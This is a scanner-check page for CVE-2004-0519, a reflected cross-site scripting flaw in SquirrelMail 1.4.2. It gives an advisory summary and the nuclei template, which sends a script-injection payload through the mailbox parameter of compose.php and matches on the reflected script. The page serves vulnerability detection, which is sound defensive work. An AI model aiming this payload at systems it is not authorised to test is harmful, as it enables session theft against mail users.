SquirrelMail 1.4.x - Folder Name Cross-Site Scripting

mediumseverity

6.8CVSS score

22.5%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Multiple cross-site scripting (XSS) vulnerabilities in SquirrelMail 1.4.2 allow remote attackers to execute arbitrary script and possibly steal authentication information via multiple attack vectors, including the mailbox parameter in compose.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, phishing attacks, or defacement of the SquirrelMail interface.

Fix

Upgrade to the latest version.

How to confirm it

Send: GET {{BaseURL}}/mail/src/compose.php?mailbox=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2004-0519 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2004-0519

info:
  name: SquirrelMail 1.4.x - Folder Name Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: Multiple cross-site scripting (XSS) vulnerabilities in SquirrelMail 1.4.2 allow remote attackers to execute arbitrary script and possibly steal authentication information via multiple attack vectors, including the mailbox parameter in compose.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, phishing attacks, or defacement of the SquirrelMail interface.
  remediation: Upgrade to the latest version.
  reference:
    - https://www.exploit-db.com/exploits/24068
    - http://security.gentoo.org/glsa/glsa-200405-16.xml
    - ftp://patches.sgi.com/support/free/security/advisories/20040604-01-U.asc
    - http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000858
    - http://marc.info/?l=bugtraq&m=108334862800260
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2004-0519
    cwe-id: NVD-CWE-Other
    epss-score: 0.22528
    epss-percentile: 0.97723
    cpe: cpe:2.3:a:sgi:propack:3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sgi
    product: propack
  tags: cve,cve2004,squirrelmail,edb,xss,sgi,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/mail/src/compose.php?mailbox=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

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